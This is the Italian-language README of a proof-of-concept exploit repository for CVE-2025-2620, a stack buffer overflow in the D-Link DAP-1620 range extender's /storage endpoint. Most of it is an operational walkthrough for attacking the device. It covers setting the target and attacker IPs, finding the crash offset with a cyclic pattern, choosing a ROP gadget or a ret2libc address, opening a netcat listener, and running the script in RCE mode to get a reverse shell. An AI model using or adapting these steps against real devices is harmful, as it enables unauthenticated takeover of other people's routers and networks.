
Questa repository contiene un exploit proof-of-concept (PoC) avanzato per CVE-2025-2620, una vulnerabilità critica di buffer overflow basato su stack scoperta nel router D-Link DAP-1620 con versione firmware 1.03. Questa vulnerabilità consente a remoti attaccanti non autenticati di causare il crash del server web del router (Denial-of-Service, DoS) e potenzialmente di eseguire codice arbitrario (Remote Code Execution, RCE).
Lo scopo di questo progetto è dimostrare competenze nello sviluppo di exploit.
CVE-2025-2620 riguarda la funzione mod_graph_auth_uri_handler del router D-Link DAP-1620, in particolare all'interno dell'endpoint /storage. La vulnerabilità è causata da un controllo dei limiti non corretto, che consente a un attaccante di inviare un input di grandi dimensioni che supera la dimensione del buffer allocato, portando a un buffer overflow basato su stack.
La funzione vulnerabile elabora un parametro di autenticazione (auth) dalle richieste HTTP:
void mod_graph_auth_uri_handler(char *input) {
char buffer[512]; // Fixed-size stack buffer
strcpy(buffer, input); // No length check, causes overflow
// Process authentication...
}
Un attaccante che invia un payload sovradimensionato (ad es., 1024+ byte) sovrascrive la memoria adiacente, incluso l'indirizzo di ritorno della funzione, portando potenzialmente all'esecuzione di codice.
Il D-Link DAP-1620 è un range extender Wi-Fi con le seguenti specifiche:
Altri router/range extender D-Link con firmware simile potrebbero essere anch'essi interessati.
PoC combinato – Include sia il test del buffer overflow sia l'exploit RCE.
Test del buffer overflow basato su stack – Identifica i router vulnerabili.
Exploit completo di remote code execution (RCE) – Avvia una reverse shell.
Dimensione del payload e indirizzo di ritorno configurabili – Adattabile a diversi modelli di router.
Debugging avanzato – Registra gli offset del crash per perfezionare i parametri dell'exploit.
git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc
Assicurati di avere Python3 e pwntools installati:
pip install pwntools
Modifica lo script CVE-2025-2620_poc.py:
TARGET_IP = "192.168.0.1" # change to match your router
ATTACKER_IP = "192.168.0.100" # change to your local IP
ATTACKER_PORT = 4444 # change if needed
BUFFER_SIZE = 8000 # Increase if the router does not crash
Modifica il PoC per generare un pattern univoco e inviarlo:
MODE = "overflow" # Set to "overflow" to find the offset
Esegui lo script:
python3 CVE-2025-2620_poc.py
Dopo aver mandato in crash il router, controlla l'indirizzo di segfault (EIP su x86 o RA su MIPS) da:
gdb)dmesg | grep 'segfault'Cerca un indirizzo come 0x61616161 (che significa che parte del pattern ciclico ha sovrascritto il puntatore di ritorno).
Usa cyclic_find per individuare l'offset esatto:
from pwn import cyclic_find
print(cyclic_find(0x61616161)) # Replace with the crash address
Questo fornisce il valore esatto di OFFSET. Aggiorna il tuo PoC:
OFFSET = <FOUND OFFSET> # Replace with the actual number
RET_ADDR)Opzione 1: Trovare un Gadget JMP o CALL
ROPgadget --binary vulnerable_binary | grep "jmp"
Scegli un indirizzo che salti a un registro (ad es., jmp $sp o jmp $ra).
Opzione 2: Usare un Indirizzo ret2libc
Trova l'indirizzo di system() in libc:
objdump -D /lib/libc.so.6 | grep "system"
Poi usalo come RET_ADDR:
RET_ADDR = struct.pack("<I", 0xdeadbeef) # Replace with actual address
nc -lvnp 4444
python3 CVE-2025-2620_poc.py --mode rce
Sviluppato con ❤️ da Otsmane Ahmed
| Metrica | Valore |
|---|
| Vettore di Attacco | Rete |
| Complessità di Attacco | Bassa |
| Privilegi Richiesti | Nessuno |
| Interazione dell'Utente | Nessuna |
| Impatto sulla Riservatezza | Alto |
| Impatto sull'Integrità | Alto |
| Impatto sulla Disponibilità | Alto |